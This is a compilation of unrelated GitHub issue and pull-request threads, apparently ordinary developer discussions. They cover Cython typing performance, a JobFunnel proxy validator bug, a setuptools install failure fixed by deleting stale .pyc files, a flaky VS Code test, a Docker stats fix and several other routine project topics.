Question about typing lowering performance

This is a general question, so I dont mind general answers. Say I have a function that restrics its return type to dict, but the code calling this function doesnt care if its a dict or not. In other words, the typing is superfluous. Is it possible that this typing be LOWERING performance, or can typing only increases it? I would like to know if I should be adding type annotations carefully or whenever possible.

Yes, you should add type annotations judiciously, where they actually help
performance and/or readability/robustness of the code. There are cases that
can hurt performance as well: assigning to a typed variable (including as a
function argument) incurs a type check that's wasteful if we can't take
advantage of knowing the type.
On Wed, Feb 14, 2018 at 2:17 PM, Arkadiusz Bulski<EMAIL_ADDRESS>wrote:

This is a general question, so I dont mind general answers. Say I have a
function that restrics its return type to dict, but the code calling this
function doesnt care if its a dict or not. In other words, the typing is
superfluous. Is it possible that this typing be LOWERING performance, or
can typing only increases it? I would like to know if I should be adding
type annotations carefully or whenever possible.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/cython/cython/issues/2103, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAdqgTYIQq419n1h5ms3kaPrWbuyxbmjks5tU1tkgaJpZM4SGD1y
.

Understood.
Does this happen to include a situation where function return is typed, but the variable to which it gets assigned to is not typed? I would think that would be No.

Am 15. Februar 2018 05:35:39 MEZ schrieb Arkadiusz Bulski<EMAIL_ADDRESS>
Understood.
Does this happen to include a situation where function return is typed,
but the variable to which it gets assigned to is not typed? I would
think that would be No.

Cython has some type inference in place, so the variable might inherit the return type, depending on its further usage.
The most wasteful typing case is probably when a variable is typed (or inferred) as a C number but only (or mostly) used as a Python object. In that case, Cython has to create a new Python object on each use, which is costly.
Thus, what Robert wrote: typing is an optimisation. Use it when you can prove that you have to.
Stefan

The assignment in question is actually inserting output of a typed-return function as a value into a dictionary-derived container. I dont think inference could work in this case.
Would it be possible, or beneficial, to have a variable of io.BytesIO type? I can measure the speed gain/loss with a benchmark suite that I have, but how would I type it?

In this example io is BytesIO. Does this also cause the boxing penalty, when calling io.read?
cdef bytes read_bytes(io, int count):
    if not count >= 0: raise StreamError
    bytes data = io.read(count)
    if not len(data) == count: raise StreamError
    return data

Second, better example. Is i inferred to be a C integer? If not, would adding a type to it cause boxing when assigning i to dict value? this is an AttrDict, it maps attribute access to key access. I know for a fact that adding cdef list obj type causes speedup.
def parse_array_15(io, this):
    count = 3
    obj = ListContainer()
    for i in range(count):
        this._index = i
        obj.append(decompiled_16._parse(io, this, None))
    return obj

You can only use types that the Cython compiler knows about - mainly builtins, and a few particular modules such as array . For file objects, really all you can do is call their methods - there isn't any C API for them overall. Parts are actually written in Python anyway.

If using C integer when passing it to python functions causes "boxing", then how can I define a variable as "python integer" as opposed to "C integer"? From what I gather, "cdef int x" is C integer.

Note that, in general, a bug tracker is not a good place to provide support for user questions. Please switch over to the mailing list.


Kindle Fire HD 7 | Music keep playing for few seconds after minimizing the browser

When the background music is playing, then we minimize the browser audio keeps playing for few seconds and then it pause in Kindle Fire HD 7 device.
Please suggest.

This sounds like a limitation of the browser/device - the focus loss/blur event from the browser is delayed in making it to SpringRoll, so it is not able to pause audio immediately.

Will verify if this is a limitation of the Kindle.

This is verified, it's not limited to background music. All sounds keep playing for up to 2 seconds after the Silk browser is minimized.

This is a SpringRoll 1 issue, closing


feat: add Dockerfile

Description
Add Dockerfile and related things which we will mainly use in Kubernetes deployment for api.asyncapi.com domain:

add new, needed scripts
update tsconfig and split it to the normal (dev/prod) and test environments

@smoya Could you accept again? I had to add:
  "publishConfig": {
    "access": "public"
  },

to the package.json as well change version from 0.1.0 to the 0.0.1 to publish 0.1.0 :)


Remove timestamp from _payload.json

Describe the feature
While investigating #26873 i noticed that many of the _payload.json files differed only in the last field which contains an integer. Based on the magnitude and value I immediate suspected it might be a valid unix-time and converting it revealed that it seems to be the time when the page was generated.
I do not know of any reason why these timestamps should exist. Removing them would somewhat automatic file deduplication (though it would still be better if #26873 could be resolved differently - I really like Nuxt but it does not seem feasible to use it for the planned project).
Furthermore the inclusion of the timestamps makes the builds non-reproducible which is another issue that should be resolved.
Additional information

[X] Would you be willing to help implement this feature?
[ ] Could this feature be implemented as a module?

Final checks

[X] Read the contribution guide.
[X] Check existing discussions and issues.

Added a comment on that discussion.
The field in question is prerenderedAt which tells you how recently the data was generated. If you want to remove this you can add a Nuxt plugin (~/plugins/date.server.ts or similar):
export default defineNuxtPlugin(nuxtApp => {
  delete nuxtApp.payload.prerenderedAt
})

Thank you, is that field documented somewhere? I was unable to find any info about it or way to access it so I wonder why it is present

We should probably add docs on the format of the Nuxt payload 👍


Half work with docker 1.7.0

Shows only the images. For the pages Home and Containers says "Unable to connect".
Environment:
Server: Ubuntu 15.04, Docker 1.7.0
Client: Chrome 43.0.2357.130 m, Simple Docker UI (Beta) 0.1.2

Thanks!.
It was a parsing error. The previous API was using number for representing Boolean (0/1) and the new version 1.7 is returning true/false. I'll release a new version in the following days.
Fixed: https://github.com/felixgborrego/docker-ui-chrome-app/commit/ed83ffca965249a7b40750be509f4ff2c1253ec3


DocsArchive-<IP_ADDRESS>Auto archive content

Please don't merge this PR until target archive repo PR https://github.com/OPS-E2E-PPE/docs-archive-test-target/pull/719 is merged into live branch.
Auto archive content to https://github.com/VSC-Service-Account/docs-archive-test-target.git

Docs Build status updates of commit e35fde7:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error-GitBranchDeletedOrForcePushed] Cannot sync git repo to specified commit because branch Release_Archive_master_2021-01-26-02-58-35 has been deleted or has been force pushed

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel

Docs Build status updates of commit e35fde7:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

:x:Error

Details

[Error-GitBranchDeletedOrForcePushed] Cannot sync git repo to specified commit because branch Release_Archive_master_2021-01-26-02-58-35 has been deleted or has been force pushed

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


Issues Parsing the Proxy Settings

Hi everyone!
Hope you are all doing well.
Description
While testing the proxy capabilities I discovered that the proxy parsing/validation is not quite correct.
Steps to Reproduce

Edit one of the settings files like settings_USA.yaml and uncomment the bottom of it:

 # Proxy settings
proxy:
 protocol: http  # NOTE: you can also set to 'http'
 ip: "<IP_ADDRESS>"
 port: 8080

NOTE: Notice how I removed the single quotes from the port field. This is something I'll fix when I push these fixes(along with unit testing for proxy.py)

funnel load -s demo/settings_USA.yaml
Wait to see the following error:

TypeError: _validate_type_ipv4address() missing 1 required positional argument: 'value'
The error stack is larger than that, but I'm trying to stay brief.
There are two issues happening here.

The cerberus API does not pass 2 arguments to custom validators, like this function expects:
def _validate_type_ipv4address(self, field, value):
It expects 1. One can see this on the Cerberus API on this snippet of code which is on cerberus/validator.py:

                type_handler = self.__get_rule_handler('validate_type', _type)
                matched = type_handler(value)
            if matched:
                return

            # TODO uncomment this block on next major release
            #      when _validate_type_* methods were deprecated:
            # type_definition = self.types_mapping[_type]
            # if isinstance(value, type_definition.included_types) \
            #         and not isinstance(value, type_definition.excluded_types):  # noqa 501
            #     return

        self._error(field, errors.BAD_TYPE)
        self._drop_remaining_rules()

the function type_handler points to _validate_type_ipv4address, and as you can see it only passes 1 argument, value.
Easy fix: make _validate_type_ipv4address take 1 argument.
Once I fixed that, there was another issue:
Traceback (most recent call last):
  File "/home/lorenzogomez/.local/bin/funnel", line 11, in <module>
    load_entry_point('JobFunnel', 'console_scripts', 'funnel')()
  File "/home/lorenzogomez/PycharmProjects/JobFunnel/jobfunnel/__main__.py", line 15, in main
    cfg_dict = build_config_dict(args)
  File "/home/lorenzogomez/PycharmProjects/JobFunnel/jobfunnel/config/cli.py", line 317, in build_config_dict
    raise ValueError(
ValueError: Invalid Config settings yaml:
{'proxy': [{'ip': ['must be of ipv4address type']}]}

This has to do with two functions in the code.
First this function:
class JobFunnelSettingsValidator(Validator):
    """A simple JSON data validator with a custom data type for IPv4 addresses
    https://codingnetworker.com/2016/03/validate-json-data-using-cerberus/
    """
    def _validate_type_ipv4address(self, value):
        """
        checks that the given value is a valid IPv4 address
        """
        try:
            # try to create an IPv4 address object using the python3 ipaddress
            # module
            ipaddress.IPv4Address(value)
            return True
        except:
            self._error(value, "Not a valid IPv4 address")

Notice how I added return True at the end of the try statement.
The second function on cli.py:
 # Validate the config passed via YAML
        if not SettingsValidator.validate(config):
            raise ValueError(
                f"Invalid Config settings yaml:\n{SettingsValidator.errors}"
            )

This fucntion expects a value from _validate_type_ipv4address, but it returns None(at least the current version of it). Hence the new return True in _validate_type_ipv4address.
Hopefully this explanation makes sense.
I will be working on fixing these issues, and will also add unit testing to proxy.py.
Cheers!
Expected behavior
jobfunnel should scrape normally with proxy settings on.
Actual behavior
The errors described above.
Environment

Build: JobFunnel 3.0.1 on commit cf80740a852f478b3a656f612136ddcf841af096
Operating system and version: Pop!_OS 20.04 LTS
[Linux] Desktop Environment and/or Window Manager: Cinnamon

ah good find, this was some techdebt that wasn't captured - I never got around to validating this feature.


Fails to install: "ValueError: bad marshal data (unknown type code)"

Here's what happened previously:
Pull
 leonie@felicity  ~/Pyc/avell-unofficial-control-center (original)   master ⇣14 ?1  git pull                                                               ✔  02:50:34  56% (1:08) ▅
Aktualisiere d881ad2..371587e
Fast-forward
 README.md    |  61 +++++++--------------------------------------------
 aucc/main.py | 201 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---------------
 setup.py     |   9 ++++----
 3 files changed, 197 insertions(+), 74 deletions(-)

So I'm now on 371587e.
Build
root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # python3 setup.py build
running build
running build_py
running egg_info
writing avell_unofficial_control_center.egg-info/PKG-INFO
writing dependency_links to avell_unofficial_control_center.egg-info/dependency_links.txt
writing entry points to avell_unofficial_control_center.egg-info/entry_points.txt
writing requirements to avell_unofficial_control_center.egg-info/requires.txt
writing top-level names to avell_unofficial_control_center.egg-info/top_level.txt
reading manifest file 'avell_unofficial_control_center.egg-info/SOURCES.txt'
writing manifest file 'avell_unofficial_control_center.egg-info/SOURCES.txt'

Install (fails)
root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # python3 setup.py install
running install
running bdist_egg
running egg_info
writing avell_unofficial_control_center.egg-info/PKG-INFO
writing dependency_links to avell_unofficial_control_center.egg-info/dependency_links.txt
writing entry points to avell_unofficial_control_center.egg-info/entry_points.txt
writing requirements to avell_unofficial_control_center.egg-info/requires.txt
writing top-level names to avell_unofficial_control_center.egg-info/top_level.txt
reading manifest file 'avell_unofficial_control_center.egg-info/SOURCES.txt'
writing manifest file 'avell_unofficial_control_center.egg-info/SOURCES.txt'
installing library code to build/bdist.linux-x86_64/egg
running install_lib
running build_py
creating build/bdist.linux-x86_64/egg
creating build/bdist.linux-x86_64/egg/aucc
copying build/lib/aucc/__init__.py -> build/bdist.linux-x86_64/egg/aucc
creating build/bdist.linux-x86_64/egg/aucc/core
copying build/lib/aucc/core/__init__.py -> build/bdist.linux-x86_64/egg/aucc/core
copying build/lib/aucc/core/handler.py -> build/bdist.linux-x86_64/egg/aucc/core
creating build/bdist.linux-x86_64/egg/aucc/core/__pycache__
copying build/lib/aucc/core/__pycache__/__init__.cpython-37.pyc -> build/bdist.linux-x86_64/egg/aucc/core/__pycache__
copying build/lib/aucc/core/__pycache__/handler.cpython-37.pyc -> build/bdist.linux-x86_64/egg/aucc/core/__pycache__
copying build/lib/aucc/core/__pycache__/colors.cpython-37.pyc -> build/bdist.linux-x86_64/egg/aucc/core/__pycache__
copying build/lib/aucc/core/colors.py -> build/bdist.linux-x86_64/egg/aucc/core
creating build/bdist.linux-x86_64/egg/aucc/db
copying build/lib/aucc/db/__init__.py -> build/bdist.linux-x86_64/egg/aucc/db
creating build/bdist.linux-x86_64/egg/aucc/ui
copying build/lib/aucc/ui/__init__.py -> build/bdist.linux-x86_64/egg/aucc/ui
creating build/bdist.linux-x86_64/egg/aucc/res
creating build/bdist.linux-x86_64/egg/aucc/res/icons
copying build/lib/aucc/res/icons/tux.png -> build/bdist.linux-x86_64/egg/aucc/res/icons
creating build/bdist.linux-x86_64/egg/aucc/__pycache__
copying build/lib/aucc/__pycache__/__init__.cpython-37.pyc -> build/bdist.linux-x86_64/egg/aucc/__pycache__
creating build/bdist.linux-x86_64/egg/aucc/tests
copying build/lib/aucc/tests/main.py -> build/bdist.linux-x86_64/egg/aucc/tests
copying build/lib/aucc/main.py -> build/bdist.linux-x86_64/egg/aucc
byte-compiling build/bdist.linux-x86_64/egg/aucc/__init__.py to __init__.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/core/__init__.py to __init__.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/core/colors.py to colors.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/core/handler.py to handler.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/db/__init__.py to __init__.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/main.py to main.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/tests/main.py to main.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/ui/__init__.py to __init__.cpython-38.pyc
creating build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/PKG-INFO -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/SOURCES.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/dependency_links.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/entry_points.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/requires.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/top_level.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
zip_safe flag not set; analyzing archive contents...
Traceback (most recent call last):
  File "setup.py", line 17, in <module>
    setup(
  File "/usr/lib/python3.8/site-packages/setuptools/__init__.py", line 145, in setup
    return distutils.core.setup(**attrs)
  File "/usr/lib64/python3.8/distutils/core.py", line 148, in setup
    dist.run_commands()
  File "/usr/lib64/python3.8/distutils/dist.py", line 966, in run_commands
    self.run_command(cmd)
  File "/usr/lib64/python3.8/distutils/dist.py", line 985, in run_command
    cmd_obj.run()
  File "/usr/lib/python3.8/site-packages/setuptools/command/install.py", line 67, in run
    self.do_egg_install()
  File "/usr/lib/python3.8/site-packages/setuptools/command/install.py", line 109, in do_egg_install
    self.run_command('bdist_egg')
  File "/usr/lib64/python3.8/distutils/cmd.py", line 313, in run_command
    self.distribution.run_command(command)
  File "/usr/lib64/python3.8/distutils/dist.py", line 985, in run_command
    cmd_obj.run()
  File "/usr/lib/python3.8/site-packages/setuptools/command/bdist_egg.py", line 220, in run
    os.path.join(archive_root, 'EGG-INFO'), self.zip_safe()
  File "/usr/lib/python3.8/site-packages/setuptools/command/bdist_egg.py", line 273, in zip_safe
    return analyze_egg(self.bdist_dir, self.stubs)
  File "/usr/lib/python3.8/site-packages/setuptools/command/bdist_egg.py", line 383, in analyze_egg
    safe = scan_module(egg_dir, base, name, stubs) and safe
  File "/usr/lib/python3.8/site-packages/setuptools/command/bdist_egg.py", line 422, in scan_module
    code = marshal.load(f)
ValueError: bad marshal data (unknown type code)

Python 3.8
root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # python3 --version
Python 3.8.2

Any clue about ValueError: bad marshal data (unknown type code) ?
Attempts
1
I did try find /usr -name '*.pyc' -delete and build+install again, but failed.
2
I tried updating setuptools: pip install -U setuptools, but rebuild+install of aucc still failed.
root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # pip install -U setuptools
Collecting setuptools
  Downloading setuptools-46.0.0-py3-none-any.whl (582 kB)
     |████████████████████████████████| 582 kB 1.4 MB/s
Installing collected packages: setuptools
  Attempting uninstall: setuptools
    Found existing installation: setuptools 44.0.0
    Uninstalling setuptools-44.0.0:
      Successfully uninstalled setuptools-44.0.0
Successfully installed setuptools-46.0.0

3
Re-check requirements - but already up to date:
root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # pip install -Ur requirements.txt
Requirement already up-to-date: pyusb==1.0.2 in /usr/local/lib/python3.8/site-packages (from -r requirements.txt (line 1)) (1.0.2)
Requirement already up-to-date: elevate==0.1.3 in /usr/local/lib/python3.8/site-packages (from -r requirements.txt (line 2)) (0.1.3)

Looks like https://github.com/pypa/setuptools/issues/1257#issuecomment-586562830 gave me the right idea:
root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # find . -name '*.pyc'
./aucc/core/__pycache__/__init__.cpython-37.pyc
./aucc/core/__pycache__/handler.cpython-37.pyc
./aucc/core/__pycache__/colors.cpython-37.pyc
./aucc/__pycache__/__init__.cpython-37.pyc
./build/lib/aucc/core/__pycache__/__init__.cpython-37.pyc
./build/lib/aucc/core/__pycache__/handler.cpython-37.pyc
./build/lib/aucc/core/__pycache__/colors.cpython-37.pyc
./build/lib/aucc/__pycache__/__init__.cpython-37.pyc
./build/bdist.linux-x86_64/egg/aucc/core/__pycache__/__init__.cpython-37.pyc
./build/bdist.linux-x86_64/egg/aucc/core/__pycache__/handler.cpython-37.pyc
./build/bdist.linux-x86_64/egg/aucc/core/__pycache__/colors.cpython-37.pyc
./build/bdist.linux-x86_64/egg/aucc/core/__pycache__/__init__.cpython-38.pyc
./build/bdist.linux-x86_64/egg/aucc/core/__pycache__/colors.cpython-38.pyc
./build/bdist.linux-x86_64/egg/aucc/core/__pycache__/handler.cpython-38.pyc
./build/bdist.linux-x86_64/egg/aucc/db/__pycache__/__init__.cpython-38.pyc
./build/bdist.linux-x86_64/egg/aucc/ui/__pycache__/__init__.cpython-38.pyc
./build/bdist.linux-x86_64/egg/aucc/__pycache__/__init__.cpython-37.pyc
./build/bdist.linux-x86_64/egg/aucc/__pycache__/__init__.cpython-38.pyc
./build/bdist.linux-x86_64/egg/aucc/__pycache__/main.cpython-38.pyc
./build/bdist.linux-x86_64/egg/aucc/tests/__pycache__/main.cpython-38.pyc

root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # find . -name '*.pyc' -delete

root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # find . -name '*.pyc'

root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # python3 setup.py build
running build
running build_py
running egg_info
writing avell_unofficial_control_center.egg-info/PKG-INFO
writing dependency_links to avell_unofficial_control_center.egg-info/dependency_links.txt
writing entry points to avell_unofficial_control_center.egg-info/entry_points.txt
writing requirements to avell_unofficial_control_center.egg-info/requires.txt
writing top-level names to avell_unofficial_control_center.egg-info/top_level.txt
reading manifest file 'avell_unofficial_control_center.egg-info/SOURCES.txt'
writing manifest file 'avell_unofficial_control_center.egg-info/SOURCES.txt'

root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) # python3 setup.py install
running install
running bdist_egg
running egg_info
writing avell_unofficial_control_center.egg-info/PKG-INFO
writing dependency_links to avell_unofficial_control_center.egg-info/dependency_links.txt
writing entry points to avell_unofficial_control_center.egg-info/entry_points.txt
writing requirements to avell_unofficial_control_center.egg-info/requires.txt
writing top-level names to avell_unofficial_control_center.egg-info/top_level.txt
reading manifest file 'avell_unofficial_control_center.egg-info/SOURCES.txt'
writing manifest file 'avell_unofficial_control_center.egg-info/SOURCES.txt'
installing library code to build/bdist.linux-x86_64/egg
running install_lib
running build_py
byte-compiling build/bdist.linux-x86_64/egg/aucc/__init__.py to __init__.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/core/__init__.py to __init__.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/core/colors.py to colors.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/core/handler.py to handler.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/db/__init__.py to __init__.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/main.py to main.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/tests/main.py to main.cpython-38.pyc
byte-compiling build/bdist.linux-x86_64/egg/aucc/ui/__init__.py to __init__.cpython-38.pyc
copying avell_unofficial_control_center.egg-info/PKG-INFO -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/SOURCES.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/dependency_links.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/entry_points.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/requires.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
copying avell_unofficial_control_center.egg-info/top_level.txt -> build/bdist.linux-x86_64/egg/EGG-INFO
zip_safe flag not set; analyzing archive contents...
creating 'dist/avell_unofficial_control_center-1.0.3-py3.8.egg' and adding 'build/bdist.linux-x86_64/egg' to it
removing 'build/bdist.linux-x86_64/egg' (and everything under it)
Processing avell_unofficial_control_center-1.0.3-py3.8.egg
Copying avell_unofficial_control_center-1.0.3-py3.8.egg to /usr/local/lib/python3.8/site-packages
Adding avell-unofficial-control-center 1.0.3 to easy-install.pth file
Installing aucc script to /usr/local/bin

Installed /usr/local/lib/python3.8/site-packages/avell_unofficial_control_center-1.0.3-py3.8.egg
Processing dependencies for avell-unofficial-control-center==1.0.3
Searching for elevate==0.1.3
Best match: elevate 0.1.3
Adding elevate 0.1.3 to easy-install.pth file

Using /usr/local/lib/python3.8/site-packages
Searching for pyusb==1.0.2
Best match: pyusb 1.0.2
Adding pyusb 1.0.2 to easy-install.pth file

Using /usr/local/lib/python3.8/site-packages
Finished processing dependencies for avell-unofficial-control-center==1.0.3
root@felicity:/home/leonie/PycharmProjects/avell-unofficial-control-center (original) #


ROX-11447: refactor kernel driver start up

Description
Refactors SysdigService and CollectorService to centralise the kernel driver insertion logic to better inform start up diagnostics. This also decouples some components within CollectorService.
The kernel driver setup logic is now in a set of classes of its own, and then initialised by the SysdigService.
Checklist

[x] Investigated and inspected CI test results
[ ] Updated documentation accordingly

Automated testing

[ ] Added unit tests
[ ] Added integration tests
[ ] Added regression tests

If any of these don't apply, please comment below.
Testing Performed
Some local testing, but CI should uncover any significant problems with this refactor.

/retest

/retest-required

/retest


Variables

Hello!
I have a problem in one of my projects for which  I cannot find a solution.I have an array  of products  product that contains the  title,  the description, the price and how many pieces of this type of product there are in my shop.
type product struct { 	Title       string 	Description string 	Price       int 	Pieces      int }
The urls for the images of each product come from a json as strings, grouped by products. I have a main page in which I include some blocks(the header, the footer, the sidebar, a template for the product cards which I apply to all the products)  to which I pass the content of the variable product.
`
{{render "blocks/storefront-header.html"}}

{{range .myproducts}}
{{template "blocks/product-card.html" .}}
{{end}}

`
The product  card contains the title, the price,  the description of the product and some divs  in which images should be put.
`

{{.Price}}

{{.Title}}
{{.Description}}`
What I need to do is pass the product details with the corresponding images(because each  product should have at least one image, but there is no specific number of images that the seller could upload) to the template for the cards so that my page will display both the details and the images of the each product, but together, in the same card. Basically, the card should contain the product details and the images for this specific item.
This is the go code that I use:
`func main() {
iris.UseTemplate(html.New(html.Config{Layout: "pages/_layout.html"})).Directory("./views", ".html")

iris.Static("/img", "./img", 1)
iris.Static("/css", "./css", 1)
iris.Static("/js", "./js", 1)

type ProductList []product
var myproducts = ProductList{
	{"bracelet", "descr", 10, 7},
	{"hat", "descr", 3, 5},
	{"scarf", "descr", 3, 0},
}

iris.Get("/dashboard", func(ctx *iris.Context) {
	ctx.Render("pages/dashboard.html", iris.Map{"myproducts": myproducts}, iris.RenderOptions{"gzip": true})
})
iris.Listen(":8080")

What I tried to do was to pass two variables, the one of products and the one of the images  to the same template, the one for the cards, but it didn`t work.
Does anyone have an idea about the way I could achieve this?
Thank you for your time!

Maybe you need a foreach inside your html template? This is a general golang question, please search on google you will find many examples


Derive Clone for SinkInfo and SinkPortInfo

The Clone implementation enables using data from a SinkInfo outside the callback functions where a reference to one is made available

Hm, because of how Clone is implemented for Cow this would have to do Cow::Owned(field.clone().into_owned()) on every field with a Cow to work the way I had in mind.

Or... I see you already mentioned that same crate on https://github.com/jnqnfe/pulse-binding-rust/issues/44.
There is a bit of complexity in SinkInfo since it has Option<Cow<_>> fields and a Vec<SinkPortInfo<'a>> field where SinkPortInfo also contains Cow types. It may require a custom macro (or maybe improvements could be made to derive-into-owned)?


Flaky test: close editor does not dispose when editor opened in other group

Seen a few times:
2018-08-31T05:23:34.6191268Z   1) Editor service close editor does not dispose when editor opened in other group (diff input):
2018-08-31T05:23:34.6192759Z      Error: timeout of 5000ms exceeded. Ensure the done() callback is being called in this test.
2018-08-31T05:23:34.6194311Z       at _Base.Class.derive._creator.CompletePromise_then [as then] (file:///D:/a/1/s/out-build/vs/base/common/winjs.base.js:1587:49)

After I've commented this test, the next test has also failed.
2018-08-31T14:09:03.0832233Z   4247 passing (50s)
2018-08-31T14:09:03.0982070Z   7 pending
2018-08-31T14:09:03.1251864Z   1 failing
2018-08-31T14:09:03.1252447Z
2018-08-31T14:09:03.1253273Z   1) Editor service close editor disposes properly (diff input):
2018-08-31T14:09:03.1254603Z      Error: timeout of 5000ms exceeded. Ensure the done() callback is being called in this test.
2018-08-31T14:09:03.1256272Z       at _Base.Class.derive._creator.CompletePromise_then [as then] (file:///D:/a/1/s/out-build/vs/base/common/winjs.base.js:1587:49)
2018-08-31T14:09:03.1268775Z
2018-08-31T14:09:03.1269270Z

I commented out all tests that involve a diff input to see if that makes any difference.

I don't ever want these tests back.


T

T
Originally posted by @sheabae86 in https://github.com/xaxiong/gitlab/issues/2#issuecomment-900704599

Y

H

@gabetax


Cow: Watch chatgptsvenska.io

Cow requests the watch of the watch_keyword chatgptsvenska\.io. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

chatgptsvenska\.io has been seen in 1 true positive, 0 false positives, and 0 NAAs.

Approved by tripleee in Charcoal HQ


Andoid Studio Reported Warning

In order to route, prioritize, and act on this, please include:

Dart SDK Version (dart --version 2.1.0-dev.9.4)
Windows
Flutter

Compiler message:
Warning: Tried to initialize from a previous compilation (build/app.dill.track.dill), but couldn't. Error message was 'RangeError (index): Index out of range: no indices are valid: 0'. This might be a bug. The Dart team would greatly appreciate if you would take a moment to report this problem at http://dartbug.com/new.

Thank you for reporting this issue.
Unfortunately this is an old version of dart, where I didn't include enough debugging information in the message to actually fix the issue.
Rest assured though, that everything should still be fine: It tried a speed-up trick but failed --- it then reverted back to a slower compile.


Allow programmatic component creation, and trigger attached callbacks correctly

Probably not worth doing, do #21 instead.


Support for POP token acquisition in OBO

To get a POP token via OBO, securitytoken(JWT) must be updated in the HTTPContext request.
This commit should also enable subscribing of events such as token validation etc. on client
Purpose

...

Does this introduce a breaking change?

[ ] Yes
[ ] No

Pull Request Type
What kind of change does this Pull Request introduce?

[ ] Bugfix
[ ] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[ ] Documentation content changes
[ ] Other... Please describe:

How to Test

Get the code

git clone [repo-address]
cd [repo-name]
git checkout [branch-name]
npm install

Test the code

What to Check
Verify that the following are valid

...

Other Information

#atcp so we can track progress and closure.


Fixes issue with stats on start event

In situations where a client is called like docker stats with no
arguments or flags, if a container which was already created but not
started yet is then subsequently started it will not be added to the
stats list as expected.
Also splits some of the stats helpers to a separate file from the stats
CLI which is already quite long.

LGTM. I really like the new event handlers.

Well, that's new (win2lin):
21:03:21 FAIL: docker_cli_events_test.go:544: DockerSuite.TestEventsFilterType
21:03:21
21:03:21 docker_cli_events_test.go:585:
21:03:21     // Events generated by the container that builds the image
21:03:21     c.Assert(events, checker.HasLen, 3, check.Commentf("Events == %s", events))
21:03:21 ... obtained []string = []string{"2016-02-29T21:03:18.174819695Z container create 6607da1f2b310022f9aa9465b7e214686087d53f1988e2614fbbbadcf8fbe62d (image=sha256:d9551b4026f0e2950ddb557cc640871710bf88476ca938b71499305647231b82, io.docker.testing=image, name=high_easley)", "2016-02-29T21:03:18.272585767Z container commit 6607da1f2b310022f9aa9465b7e214686087d53f1988e2614fbbbadcf8fbe62d (comment=, image=sha256:d9551b4026f0e2950ddb557cc640871710bf88476ca938b71499305647231b82, io.docker.testing=image, name=high_easley)", "2016-02-29T21:03:18.299829424Z container destroy 6607da1f2b310022f9aa9465b7e214686087d53f1988e2614fbbbadcf8fbe62d (image=sha256:d9551b4026f0e2950ddb557cc640871710bf88476ca938b71499305647231b82, io.docker.testing=image, name=high_easley)", "\r", "This application has requested the Runtime to terminate it in an unusual way.", "Please contact the application's support team for more information.\r", "runtime: failed to create new OS thread (13)"}
21:03:21 ... n int = 3
